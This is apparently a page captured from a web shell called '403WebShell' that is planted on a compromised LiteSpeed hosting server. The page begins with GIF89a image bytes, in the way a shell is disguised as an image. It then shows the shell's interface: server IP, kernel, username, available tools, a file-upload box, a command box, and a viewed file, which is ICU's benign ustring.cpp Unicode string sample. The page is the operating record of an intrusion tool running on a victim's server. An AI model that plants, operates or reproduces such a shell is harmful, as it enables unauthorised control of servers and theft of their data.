GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/libicu65/usr/share/doc/alt-libicu65-devel/samples/ustring/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/alt/libicu65/usr/share/doc/alt-libicu65-devel/samples/ustring/ustring.cpp
/*
*******************************************************************************
*
*   © 2016 and later: Unicode, Inc. and others.
*   License & terms of use: http://www.unicode.org/copyright.html#License
*
*******************************************************************************
*******************************************************************************
*
*   Copyright (C) 2000-2014, International Business Machines
*   Corporation and others.  All Rights Reserved.
*
*******************************************************************************
*   file name:  ustring.c
*   encoding:   UTF-8
*   tab size:   8 (not used)
*   indentation:4
*
*   created on: 2000aug15
*   created by: Markus W. Scherer
*
*   This file contains sample code that illustrates the use of Unicode strings
*   with ICU.
*/

#define __STDC_FORMAT_MACROS 1
#include <inttypes.h>

#include <stdio.h>
#include "unicode/utypes.h"
#include "unicode/uchar.h"
#include "unicode/locid.h"
#include "unicode/ustring.h"
#include "unicode/ucnv.h"
#include "unicode/unistr.h"

using namespace icu;

#ifndef UPRV_LENGTHOF
#define UPRV_LENGTHOF(array) (int32_t)(sizeof(array)/sizeof((array)[0]))
#endif

// helper functions -------------------------------------------------------- ***

// default converter for the platform encoding
static UConverter *cnv=NULL;

static void
printUString(const char *announce, const UChar *s, int32_t length) {
    static char out[200];
    UChar32 c;
    int32_t i;
    UErrorCode errorCode=U_ZERO_ERROR;

    /*
     * Convert to the "platform encoding". See notes in printUnicodeString().
     * ucnv_fromUChars(), like most ICU APIs understands length==-1
     * to mean that the string is NUL-terminated.
     */
    ucnv_fromUChars(cnv, out, sizeof(out), s, length, &errorCode);
    if(U_FAILURE(errorCode) || errorCode==U_STRING_NOT_TERMINATED_WARNING) {
        printf("%sproblem converting string from Unicode: %s\n", announce, u_errorName(errorCode));
        return;
    }

    printf("%s%s {", announce, out);

    /* output the code points (not code units) */
    if(length>=0) {
        /* s is not NUL-terminated */
        for(i=0; i<length; /* U16_NEXT post-increments */) {
            U16_NEXT(s, i, length, c);
            printf(" %04x", c);
        }
    } else {
        /* s is NUL-terminated */
        for(i=0; /* condition in loop body */; /* U16_NEXT post-increments */) {
            U16_NEXT(s, i, length, c);
            if(c==0) {
                break;
            }
            printf(" %04x", c);
        }
    }
    printf(" }\n");
}

static void
printUnicodeString(const char *announce, const UnicodeString &s) {
    static char out[200];
    int32_t i, length;

    // output the string, converted to the platform encoding

    // Note for Windows: The "platform encoding" defaults to the "ANSI codepage",
    // which is different from the "OEM codepage" in the console window.
    // However, if you pipe the output into a file and look at it with Notepad
    // or similar, then "ANSI" characters will show correctly.
    // Production code should be aware of what encoding is required,
    // and use a UConverter or at least a charset name explicitly.
    out[s.extract(0, 99, out)]=0;
    printf("%s%s {", announce, out);

    // output the code units (not code points)
    length=s.length();
    for(i=0; i<length; ++i) {
        printf(" %04x", s.charAt(i));
    }
    printf(" }\n");
}

// sample code for utf.h macros -------------------------------------------- ***

static void
demo_utf_h_macros() {
    static UChar input[]={ 0x0061, 0xd800, 0xdc00, 0xdbff, 0xdfff, 0x0062 };
    UChar32 c;
    int32_t i;
    UBool isError;

    printf("\n* demo_utf_h_macros() -------------- ***\n\n");

    printUString("iterate forward through: ", input, UPRV_LENGTHOF(input));
    for(i=0; i<UPRV_LENGTHOF(input); /* U16_NEXT post-increments */) {
        /* Iterating forwards 
           Codepoint at offset 0: U+0061
           Codepoint at offset 1: U+10000
           Codepoint at offset 3: U+10ffff
           Codepoint at offset 5: U+0062
        */
        printf("Codepoint at offset %d: U+", i);
        U16_NEXT(input, i, UPRV_LENGTHOF(input), c);
        printf("%04x\n", c); 
    }

    puts("");

    isError=FALSE;
    i=1; /* write position, gets post-incremented so needs to be in an l-value */
    U16_APPEND(input, i, UPRV_LENGTHOF(input), 0x0062, isError);

    printUString("iterate backward through: ", input, UPRV_LENGTHOF(input));
    for(i=UPRV_LENGTHOF(input); i>0; /* U16_PREV pre-decrements */) {
        U16_PREV(input, 0, i, c);
        /* Iterating backwards
           Codepoint at offset 5: U+0062
           Codepoint at offset 3: U+10ffff
           Codepoint at offset 2: U+dc00 -- unpaired surrogate because lead surr. overwritten
           Codepoint at offset 1: U+0062 -- by this BMP code point
           Codepoint at offset 0: U+0061
        */
        printf("Codepoint at offset %d: U+%04x\n", i, c);
    }
}

// sample code for Unicode strings in C ------------------------------------ ***

static void demo_C_Unicode_strings() {
    printf("\n* demo_C_Unicode_strings() --------- ***\n\n");

    static const UChar text[]={ 0x41, 0x42, 0x43, 0 };          /* "ABC" */
    static const UChar appendText[]={ 0x61, 0x62, 0x63, 0 };    /* "abc" */
    static const UChar cmpText[]={ 0x61, 0x53, 0x73, 0x43, 0 }; /* "aSsC" */
    UChar buffer[32];
    int32_t compare;
    int32_t length=u_strlen(text); /* length=3 */

    /* simple ANSI C-style functions */
    buffer[0]=0;                    /* empty, NUL-terminated string */
    u_strncat(buffer, text, 1);     /* append just n=1 character ('A') */
    u_strcat(buffer, appendText);   /* buffer=="Aabc" */
    length=u_strlen(buffer);        /* length=4 */
    printUString("should be \"Aabc\": ", buffer, -1);

    /* bitwise comparing buffer with text */
    compare=u_strcmp(buffer, text);
    if(compare<=0) {
        printf("String comparison error, expected \"Aabc\" > \"ABC\"\n");
    }

    /* Build "A<sharp s>C" in the buffer... */
    u_strcpy(buffer, text);
    buffer[1]=0xdf; /* sharp s, case-compares equal to "ss" */
    printUString("should be \"A<sharp s>C\": ", buffer, -1);

    /* Compare two strings case-insensitively using full case folding */
    compare=u_strcasecmp(buffer, cmpText, U_FOLD_CASE_DEFAULT);
    if(compare!=0) {
        printf("String case insensitive comparison error, expected \"AbC\" to be equal to \"ABC\"\n");
    }
}

// sample code for case mappings with C APIs -------------------------------- ***

static void demoCaseMapInC() {
    /*
     * input=
     *   "aB<capital sigma>"
     *   "iI<small dotless i><capital dotted I> "
     *   "<sharp s> <small lig. ffi>"
     *   "<small final sigma><small sigma><capital sigma>"
     */
    static const UChar input[]={
        0x61, 0x42, 0x3a3,
        0x69, 0x49, 0x131, 0x130, 0x20,
        0xdf, 0x20, 0xfb03,
        0x3c2, 0x3c3, 0x3a3, 0
    };
    UChar buffer[32];

    UErrorCode errorCode;
    UChar32 c;
    int32_t i, j, length;
    UBool isError;

    printf("\n* demoCaseMapInC() ----------------- ***\n\n");

    /*
     * First, use simple case mapping functions which provide
     * 1:1 code point mappings without context/locale ID.
     *
     * Note that some mappings will not be "right" because some "real"
     * case mappings require context, depend on the locale ID,
     * and/or result in a change in the number of code points.
     */
    printUString("input string: ", input, -1);

    /* uppercase */
    isError=FALSE;
    for(i=j=0; j<UPRV_LENGTHOF(buffer) && !isError; /* U16_NEXT post-increments */) {
        U16_NEXT(input, i, INT32_MAX, c); /* without length because NUL-terminated */
        if(c==0) {
            break; /* stop at terminating NUL, no need to terminate buffer */
        }
        c=u_toupper(c);
        U16_APPEND(buffer, j, UPRV_LENGTHOF(buffer), c, isError);
    }
    printUString("simple-uppercased: ", buffer, j);
    /* lowercase */
    isError=FALSE;
    for(i=j=0; j<UPRV_LENGTHOF(buffer) && !isError; /* U16_NEXT post-increments */) {
        U16_NEXT(input, i, INT32_MAX, c); /* without length because NUL-terminated */
        if(c==0) {
            break; /* stop at terminating NUL, no need to terminate buffer */
        }
        c=u_tolower(c);
        U16_APPEND(buffer, j, UPRV_LENGTHOF(buffer), c, isError);
    }
    printUString("simple-lowercased: ", buffer, j);
    /* titlecase */
    isError=FALSE;
    for(i=j=0; j<UPRV_LENGTHOF(buffer) && !isError; /* U16_NEXT post-increments */) {
        U16_NEXT(input, i, INT32_MAX, c); /* without length because NUL-terminated */
        if(c==0) {
            break; /* stop at terminating NUL, no need to terminate buffer */
        }
        c=u_totitle(c);
        U16_APPEND(buffer, j, UPRV_LENGTHOF(buffer), c, isError);
    }
    printUString("simple-titlecased: ", buffer, j);
    /* case-fold/default */
    isError=FALSE;
    for(i=j=0; j<UPRV_LENGTHOF(buffer) && !isError; /* U16_NEXT post-increments */) {
        U16_NEXT(input, i, INT32_MAX, c); /* without length because NUL-terminated */
        if(c==0) {
            break; /* stop at terminating NUL, no need to terminate buffer */
        }
        c=u_foldCase(c, U_FOLD_CASE_DEFAULT);
        U16_APPEND(buffer, j, UPRV_LENGTHOF(buffer), c, isError);
    }
    printUString("simple-case-folded/default: ", buffer, j);
    /* case-fold/Turkic */
    isError=FALSE;
    for(i=j=0; j<UPRV_LENGTHOF(buffer) && !isError; /* U16_NEXT post-increments */) {
        U16_NEXT(input, i, INT32_MAX, c); /* without length because NUL-terminated */
        if(c==0) {
            break; /* stop at terminating NUL, no need to terminate buffer */
        }
        c=u_foldCase(c, U_FOLD_CASE_EXCLUDE_SPECIAL_I);
        U16_APPEND(buffer, j, UPRV_LENGTHOF(buffer), c, isError);
    }
    printUString("simple-case-folded/Turkic: ", buffer, j);

    /*
     * Second, use full case mapping functions which provide
     * 1:n code point mappings (n can be 0!) and are sensitive to context and locale ID.
     *
     * Note that lower/upper/titlecasing take a locale ID while case-folding
     * has bit flag options instead, by design of the Unicode SpecialCasing.txt UCD file.
     *
     * Also, string titlecasing requires a BreakIterator to find starts of words.
     * The sample code here passes in a NULL pointer; u_strToTitle() will open and close a default
     * titlecasing BreakIterator automatically.
     * For production code where many strings are titlecased it would be more efficient
     * to open a BreakIterator externally and pass it in.
     */
    printUString("\ninput string: ", input, -1);

    /* lowercase/English */
    errorCode=U_ZERO_ERROR;
    length=u_strToLower(buffer, UPRV_LENGTHOF(buffer), input, -1, "en", &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-lowercased/en: ", buffer, length);
    } else {
        printf("error in u_strToLower(en)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
    /* lowercase/Turkish */
    errorCode=U_ZERO_ERROR;
    length=u_strToLower(buffer, UPRV_LENGTHOF(buffer), input, -1, "tr", &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-lowercased/tr: ", buffer, length);
    } else {
        printf("error in u_strToLower(tr)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
    /* uppercase/English */
    errorCode=U_ZERO_ERROR;
    length=u_strToUpper(buffer, UPRV_LENGTHOF(buffer), input, -1, "en", &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-uppercased/en: ", buffer, length);
    } else {
        printf("error in u_strToUpper(en)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
    /* uppercase/Turkish */
    errorCode=U_ZERO_ERROR;
    length=u_strToUpper(buffer, UPRV_LENGTHOF(buffer), input, -1, "tr", &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-uppercased/tr: ", buffer, length);
    } else {
        printf("error in u_strToUpper(tr)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
    /* titlecase/English */
    errorCode=U_ZERO_ERROR;
    length=u_strToTitle(buffer, UPRV_LENGTHOF(buffer), input, -1, NULL, "en", &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-titlecased/en: ", buffer, length);
    } else {
        printf("error in u_strToTitle(en)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
    /* titlecase/Turkish */
    errorCode=U_ZERO_ERROR;
    length=u_strToTitle(buffer, UPRV_LENGTHOF(buffer), input, -1, NULL, "tr", &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-titlecased/tr: ", buffer, length);
    } else {
        printf("error in u_strToTitle(tr)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
    /* case-fold/default */
    errorCode=U_ZERO_ERROR;
    length=u_strFoldCase(buffer, UPRV_LENGTHOF(buffer), input, -1, U_FOLD_CASE_DEFAULT, &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-case-folded/default: ", buffer, length);
    } else {
        printf("error in u_strFoldCase(default)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
    /* case-fold/Turkic */
    errorCode=U_ZERO_ERROR;
    length=u_strFoldCase(buffer, UPRV_LENGTHOF(buffer), input, -1, U_FOLD_CASE_EXCLUDE_SPECIAL_I, &errorCode);
    if(U_SUCCESS(errorCode)) {
        printUString("full-case-folded/Turkic: ", buffer, length);
    } else {
        printf("error in u_strFoldCase(Turkic)=%" PRId32 " error=%s\n", length, u_errorName(errorCode));
    }
}

// sample code for case mappings with C++ APIs ------------------------------ ***

static void demoCaseMapInCPlusPlus() {
    /*
     * input=
     *   "aB<capital sigma>"
     *   "iI<small dotless i><capital dotted I> "
     *   "<sharp s> <small lig. ffi>"
     *   "<small final sigma><small sigma><capital sigma>"
     */
    static const UChar input[]={
        0x61, 0x42, 0x3a3,
        0x69, 0x49, 0x131, 0x130, 0x20,
        0xdf, 0x20, 0xfb03,
        0x3c2, 0x3c3, 0x3a3, 0
    };

    printf("\n* demoCaseMapInCPlusPlus() --------- ***\n\n");

    UnicodeString s(input), t;
    const Locale &en=Locale::getEnglish();
    Locale tr("tr");

    /*
     * Full case mappings as in demoCaseMapInC(), using UnicodeString functions.
     * These functions modify the string object itself.
     * Since we want to keep the input string around, we copy it each time
     * and case-map the copy.
     */
    printUnicodeString("input string: ", s);

    /* lowercase/English */
    printUnicodeString("full-lowercased/en: ", (t=s).toLower(en));
    /* lowercase/Turkish */
    printUnicodeString("full-lowercased/tr: ", (t=s).toLower(tr));
    /* uppercase/English */
    printUnicodeString("full-uppercased/en: ", (t=s).toUpper(en));
    /* uppercase/Turkish */
    printUnicodeString("full-uppercased/tr: ", (t=s).toUpper(tr));
    /* titlecase/English */
    printUnicodeString("full-titlecased/en: ", (t=s).toTitle(NULL, en));
    /* titlecase/Turkish */
    printUnicodeString("full-titlecased/tr: ", (t=s).toTitle(NULL, tr));
    /* case-folde/default */
    printUnicodeString("full-case-folded/default: ", (t=s).foldCase(U_FOLD_CASE_DEFAULT));
    /* case-folde/Turkic */
    printUnicodeString("full-case-folded/Turkic: ", (t=s).foldCase(U_FOLD_CASE_EXCLUDE_SPECIAL_I));
}

// sample code for UnicodeString storage models ----------------------------- ***

static const UChar readonly[]={
    0x61, 0x31, 0x20ac
};
static UChar writeable[]={
    0x62, 0x32, 0xdbc0, 0xdc01 // includes a surrogate pair for a supplementary code point
};
static char out[100];

static void
demoUnicodeStringStorage() {
    // These sample code lines illustrate how to use UnicodeString, and the
    // comments tell what happens internally. There are no APIs to observe
    // most of this programmatically, except for stepping into the code
    // with a debugger.
    // This is by design to hide such details from the user.
    int32_t i;

    printf("\n* demoUnicodeStringStorage() ------- ***\n\n");

    // * UnicodeString with internally stored contents
    // instantiate a UnicodeString from a single code point
    // the few (2) UChars will be stored in the object itself
    UnicodeString one((UChar32)0x24001);
    // this copies the few UChars into the "two" object
    UnicodeString two=one;
    printf("length of short string copy: %d\n", two.length());
    // set "one" to contain the 3 UChars from readonly
    // this setTo() variant copies the characters
    one.setTo(readonly, UPRV_LENGTHOF(readonly));

    // * UnicodeString with allocated contents
    // build a longer string that will not fit into the object's buffer
    one+=UnicodeString(writeable, UPRV_LENGTHOF(writeable));
    one+=one;
    one+=one;
    printf("length of longer string: %d\n", one.length());
    // copying will use the same allocated buffer and increment the reference
    // counter
    two=one;
    printf("length of longer string copy: %d\n", two.length());

    // * UnicodeString using readonly-alias to a const UChar array
    // construct a string that aliases a readonly buffer
    UnicodeString three(FALSE, readonly, UPRV_LENGTHOF(readonly));
    printUnicodeString("readonly-alias string: ", three);
    // copy-on-write: any modification to the string results in
    // a copy to either the internal buffer or to a newly allocated one
    three.setCharAt(1, 0x39);
    printUnicodeString("readonly-aliasing string after modification: ", three);
    // the aliased array is not modified
    for(i=0; i<three.length(); ++i) {
        printf("readonly buffer[%d] after modifying its string: 0x%" PRId32 "\n",
               i, readonly[i]);
    }
    // setTo() readonly alias
    one.setTo(FALSE, writeable, UPRV_LENGTHOF(writeable));
    // copying the readonly-alias object with fastCopyFrom() (new in ICU 2.4)
    // will readonly-alias the same buffer
    two.fastCopyFrom(one);
    printUnicodeString("fastCopyFrom(readonly alias of \"writeable\" array): ", two);
    printf("verify that a fastCopyFrom(readonly alias) uses the same buffer pointer: %d (should be 1)\n",
        one.getBuffer()==two.getBuffer());
    // a normal assignment will clone the contents (new in ICU 2.4)
    two=one;
    printf("verify that a regular copy of a readonly alias uses a different buffer pointer: %d (should be 0)\n",
        one.getBuffer()==two.getBuffer());

    // * UnicodeString using writeable-alias to a non-const UChar array
    UnicodeString four(writeable, UPRV_LENGTHOF(writeable), UPRV_LENGTHOF(writeable));
    printUnicodeString("writeable-alias string: ", four);
    // a modification writes through to the buffer
    four.setCharAt(1, 0x39);
    for(i=0; i<four.length(); ++i) {
        printf("writeable-alias backing buffer[%d]=0x%" PRId32 " "
               "after modification\n", i, writeable[i]);
    }
    // a copy will not alias any more;
    // instead, it will get a copy of the contents into allocated memory
    two=four;
    two.setCharAt(1, 0x21);
    for(i=0; i<two.length(); ++i) {
        printf("writeable-alias backing buffer[%d]=0x%" PRId32 " after "
               "modification of string copy\n", i, writeable[i]);
    }
    // setTo() writeable alias, capacity==length
    one.setTo(writeable, UPRV_LENGTHOF(writeable), UPRV_LENGTHOF(writeable));
    // grow the string - it will not fit into the backing buffer any more
    // and will get copied before modification
    one.append((UChar)0x40);
    // shrink it back so it would fit
    one.truncate(one.length()-1);
    // we still operate on the copy
    one.setCharAt(1, 0x25);
    printf("string after growing too much and then shrinking[1]=0x%" PRId32 "\n"
           "                          backing store for this[1]=0x%" PRId32 "\n",
           one.charAt(1), writeable[1]);
    // if we need it in the original buffer, then extract() to it
    // extract() does not do anything if the string aliases that same buffer
    // i=min(one.length(), length of array)
    if(one.length()<UPRV_LENGTHOF(writeable)) {
        i=one.length();
    } else {
        i=UPRV_LENGTHOF(writeable);
    }
    one.extract(0, i, writeable);
    for(i=0; i<UPRV_LENGTHOF(writeable); ++i) {
        printf("writeable-alias backing buffer[%d]=0x%" PRId32 " after re-extract\n",
               i, writeable[i]);
    }
}

// sample code for UnicodeString instantiations ----------------------------- ***

static void
demoUnicodeStringInit() {
    // *** Make sure to read about invariant characters in utypes.h! ***
    // Initialization of Unicode strings from C literals works _only_ for
    // invariant characters!

    printf("\n* demoUnicodeStringInit() ---------- ***\n\n");

    // the string literal is 32 chars long - this must be counted for the macro
    UnicodeString invariantOnly=UNICODE_STRING("such characters are safe 123 %-.", 32);

    /*
     * In C, we need two macros: one to declare the UChar[] array, and
     * one to populate it; the second one is a noop on platforms where
     * wchar_t is compatible with UChar and ASCII-based.
